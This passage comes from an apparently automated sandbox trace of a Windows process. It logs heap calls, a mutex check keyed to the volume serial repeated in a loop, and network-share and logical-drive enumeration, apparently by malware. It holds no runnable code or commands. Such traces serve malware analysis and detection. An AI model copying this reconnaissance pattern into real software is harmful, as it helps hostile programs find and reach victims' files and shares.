lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0077.039] GetProcessHeap () returned 0x870000 [0077.039] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0077.039] GetProcessHeap () returned 0x870000 [0077.039] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0077.039] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0077.040] GetProcessHeap () returned 0x870000 [0077.040] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0077.040] GetProcessHeap () returned 0x870000 [0077.040] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0077.040] GetProcessHeap () returned 0x870000 [0077.040] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0077.040] GetProcessHeap () returned 0x870000 [0077.040] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0077.040] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x16c [0077.040] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x0) returned 0x102 [0077.040] CloseHandle (hObject=0x16c) returned 1 [0077.041] GetProcessHeap () returned 0x870000 [0077.041] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0077.041] GetProcessHeap () returned 0x870000 [0077.041] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0077.041] Sleep (dwMilliseconds=0x3e8) [0078.987] GetProcessHeap () returned 0x870000 [0078.988] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d10 [0078.988] GetProcessHeap () returned 0x870000 [0078.988] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6cc0 [0078.988] GetProcessHeap () returned 0x870000 [0078.988] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0078.988] GetProcessHeap () returned 0x870000 [0078.988] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0078.988] GetProcessHeap () returned 0x870000 [0078.988] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0078.988] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.989] GetProcessHeap () returned 0x870000 [0078.989] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0078.989] GetProcessHeap () returned 0x870000 [0078.989] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0078.989] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.990] GetProcessHeap () returned 0x870000 [0078.990] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0078.990] GetProcessHeap () returned 0x870000 [0078.990] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0078.990] GetProcessHeap () returned 0x870000 [0078.990] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0078.990] GetProcessHeap () returned 0x870000 [0078.990] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0078.990] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0078.990] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0078.991] CloseHandle (hObject=0x174) returned 1 [0078.991] GetProcessHeap () returned 0x870000 [0078.991] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0078.991] GetProcessHeap () returned 0x870000 [0078.991] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0078.991] Sleep (dwMilliseconds=0x3e8) [0081.299] GetProcessHeap () returned 0x870000 [0081.299] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6cc0 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d10 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0081.300] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0081.300] GetProcessHeap () returned 0x870000 [0081.300] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0081.300] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0081.301] GetProcessHeap () returned 0x870000 [0081.301] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0081.302] GetProcessHeap () returned 0x870000 [0081.302] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0081.302] GetProcessHeap () returned 0x870000 [0081.302] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0081.302] GetProcessHeap () returned 0x870000 [0081.302] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0081.302] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0081.302] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0081.302] CloseHandle (hObject=0x174) returned 1 [0081.302] GetProcessHeap () returned 0x870000 [0081.303] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0081.303] GetProcessHeap () returned 0x870000 [0081.303] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0081.303] Sleep (dwMilliseconds=0x3e8) [0083.191] GetProcessHeap () returned 0x870000 [0083.191] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d10 [0083.191] GetProcessHeap () returned 0x870000 [0083.191] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6cc0 [0083.191] GetProcessHeap () returned 0x870000 [0083.191] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0083.191] GetProcessHeap () returned 0x870000 [0083.191] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0083.191] GetProcessHeap () returned 0x870000 [0083.191] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0083.191] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0083.191] GetProcessHeap () returned 0x870000 [0083.191] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0083.192] GetProcessHeap () returned 0x870000 [0083.192] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0083.192] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0083.192] GetProcessHeap () returned 0x870000 [0083.193] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0083.193] GetProcessHeap () returned 0x870000 [0083.193] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0083.193] GetProcessHeap () returned 0x870000 [0083.193] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0083.193] GetProcessHeap () returned 0x870000 [0083.193] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0083.193] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0083.193] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0083.194] CloseHandle (hObject=0x174) returned 1 [0083.194] GetProcessHeap () returned 0x870000 [0083.194] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0083.194] GetProcessHeap () returned 0x870000 [0083.194] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0083.194] Sleep (dwMilliseconds=0x3e8) [0084.719] GetProcessHeap () returned 0x870000 [0084.719] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6cc0 [0084.719] GetProcessHeap () returned 0x870000 [0084.719] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d10 [0084.719] GetProcessHeap () returned 0x870000 [0084.719] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0084.719] GetProcessHeap () returned 0x870000 [0084.719] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0084.719] GetProcessHeap () returned 0x870000 [0084.720] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0084.720] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0084.720] GetProcessHeap () returned 0x870000 [0084.720] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0084.720] GetProcessHeap () returned 0x870000 [0084.720] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0084.720] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0084.720] GetProcessHeap () returned 0x870000 [0084.720] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0084.720] GetProcessHeap () returned 0x870000 [0084.721] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0084.721] GetProcessHeap () returned 0x870000 [0084.721] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0084.721] GetProcessHeap () returned 0x870000 [0084.721] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0084.721] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0084.721] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0084.721] CloseHandle (hObject=0x174) returned 1 [0084.721] GetProcessHeap () returned 0x870000 [0084.721] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0084.721] GetProcessHeap () returned 0x870000 [0084.721] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0084.722] Sleep (dwMilliseconds=0x3e8) [0086.037] GetProcessHeap () returned 0x870000 [0086.037] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d10 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6cc0 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0086.037] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0086.037] GetProcessHeap () returned 0x870000 [0086.037] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0086.038] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0086.038] GetProcessHeap () returned 0x870000 [0086.038] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0086.038] GetProcessHeap () returned 0x870000 [0086.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0086.038] GetProcessHeap () returned 0x870000 [0086.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0086.038] GetProcessHeap () returned 0x870000 [0086.039] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0086.039] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0086.039] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0086.039] CloseHandle (hObject=0x174) returned 1 [0086.039] GetProcessHeap () returned 0x870000 [0086.039] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0086.039] GetProcessHeap () returned 0x870000 [0086.039] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0086.040] Sleep (dwMilliseconds=0x3e8) [0087.387] GetProcessHeap () returned 0x870000 [0087.387] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6cc0 [0087.387] GetProcessHeap () returned 0x870000 [0087.387] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d10 [0087.387] GetProcessHeap () returned 0x870000 [0087.388] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0087.388] GetProcessHeap () returned 0x870000 [0087.388] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0087.388] GetProcessHeap () returned 0x870000 [0087.388] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0087.388] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.388] GetProcessHeap () returned 0x870000 [0087.388] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0087.388] GetProcessHeap () returned 0x870000 [0087.388] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0087.388] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.389] GetProcessHeap () returned 0x870000 [0087.389] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0087.389] GetProcessHeap () returned 0x870000 [0087.389] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0087.389] GetProcessHeap () returned 0x870000 [0087.389] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0087.389] GetProcessHeap () returned 0x870000 [0087.389] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0087.389] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0087.389] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0087.389] CloseHandle (hObject=0x174) returned 1 [0087.389] GetProcessHeap () returned 0x870000 [0087.390] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0087.390] GetProcessHeap () returned 0x870000 [0087.390] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0087.390] Sleep (dwMilliseconds=0x3e8) [0088.730] GetProcessHeap () returned 0x870000 [0088.730] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d10 [0088.730] GetProcessHeap () returned 0x870000 [0088.730] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6cc0 [0088.730] GetProcessHeap () returned 0x870000 [0088.730] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6d38 [0088.731] GetProcessHeap () returned 0x870000 [0088.731] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa830 [0088.731] GetProcessHeap () returned 0x870000 [0088.731] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa830 | out: hHeap=0x870000) returned 1 [0088.731] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.731] GetProcessHeap () returned 0x870000 [0088.731] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0088.731] GetProcessHeap () returned 0x870000 [0088.731] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d10 | out: hHeap=0x870000) returned 1 [0088.731] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.731] GetProcessHeap () returned 0x870000 [0088.732] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0088.732] GetProcessHeap () returned 0x870000 [0088.732] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0088.732] GetProcessHeap () returned 0x870000 [0088.732] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0088.732] GetProcessHeap () returned 0x870000 [0088.732] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0088.732] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0088.732] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0088.732] CloseHandle (hObject=0x174) returned 1 [0088.732] GetProcessHeap () returned 0x870000 [0088.732] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0088.733] GetProcessHeap () returned 0x870000 [0088.733] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0088.733] Sleep (dwMilliseconds=0x3e8) Thread: id = 6 os_tid = 0xa24 [0054.649] GetProcessHeap () returned 0x870000 [0054.649] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x21a) returned 0x88f640 [0054.649] GetProcessHeap () returned 0x870000 [0054.649] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x28) returned 0x88a898 [0054.649] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xfc [0054.649] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x100 [0054.649] GetComputerNameW (in: lpBuffer=0x88f650, nSize=0x21ef9b8 | out: lpBuffer="XDUWTFONO", nSize=0x21ef9b8) returned 1 [0054.651] GetProcessHeap () returned 0x870000 [0054.651] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x26) returned 0x88f868 [0054.651] GetProcessHeap () returned 0x870000 [0054.651] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x4000) returned 0x88f898 [0054.652] GetProcessHeap () returned 0x870000 [0054.652] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10000) returned 0x8938a0 [0054.653] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21ef970 | out: lphEnum=0x21ef970*=0x88b708) returned 0x0 [0056.547] WNetEnumResourceW (in: hEnum=0x88b708, lpcCount=0x21ef968, lpBuffer=0x88f898, lpBufferSize=0x21ef974 | out: lpcCount=0x21ef968, lpBuffer=0x88f898, lpBufferSize=0x21ef974) returned 0x103 [0056.548] WNetCloseEnum (hEnum=0x88b708) returned 0x0 [0056.548] GetProcessHeap () returned 0x870000 [0056.548] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88f898 | out: hHeap=0x870000) returned 1 [0056.548] GetProcessHeap () returned 0x870000 [0056.548] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8938a0 | out: hHeap=0x870000) returned 1 [0056.548] GetProcessHeap () returned 0x870000 [0056.548] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x4000) returned 0x8aad28 [0056.548] GetProcessHeap () returned 0x870000 [0056.548] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10000) returned 0x88f898 [0056.548] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21ef958 | out: lphEnum=0x21ef958*=0x88c298) returned 0x0 [0056.549] WNetEnumResourceW (in: hEnum=0x88c298, lpcCount=0x21ef950, lpBuffer=0x8aad28, lpBufferSize=0x21ef95c | out: lpcCount=0x21ef950, lpBuffer=0x8aad28, lpBufferSize=0x21ef95c) returned 0x103 [0056.550] WNetCloseEnum (hEnum=0x88c298) returned 0x0 [0056.550] GetProcessHeap () returned 0x870000 [0056.550] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aad28 | out: hHeap=0x870000) returned 1 [0056.550] GetProcessHeap () returned 0x870000 [0056.550] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88f898 | out: hHeap=0x870000) returned 1 [0056.550] GetProcessHeap () returned 0x870000 [0056.550] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x4000) returned 0x8aad28 [0056.551] GetProcessHeap () returned 0x870000 [0056.551] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10000) returned 0x88f898 [0056.551] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21ef940 | out: lphEnum=0x21ef940*=0x88b708) returned 0x0 [0078.495] WNetEnumResourceW (in: hEnum=0x88b708, lpcCount=0x21ef938, lpBuffer=0x8aad28, lpBufferSize=0x21ef944 | out: lpcCount=0x21ef938, lpBuffer=0x8aad28, lpBufferSize=0x21ef944) returned 0x0 [0078.495] GetProcessHeap () returned 0x870000 [0078.496] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x4000) returned 0x89f8a0 [0078.496] GetProcessHeap () returned 0x870000 [0078.496] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10000) returned 0x8aed30 [0078.497] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x8aad28, lphEnum=0x21ef900) Thread: id = 7 os_tid = 0x424 [0055.706] GetLogicalDrives () returned 0x4 [0055.706] GetProcessHeap () returned 0x870000 [0055.707] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8840a8 [0055.707] GetProcessHeap () returned 0x870000 [0055.707] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x28) returned 0x88c058 [0055.707] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0055.707] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0055.707] GetProcessHeap () returned 0x870000 [0055.707] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x88a440 [0055.707] GetProcessHeap () returned 0x870000 [0055.707] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x88a468 [0055.707] GetProcessHeap () returned 0x870000 [0055.707] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x88a490 [0055.708] GetProcessHeap () returned 0x870000 [0055.708] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88cc38 [0055.708] 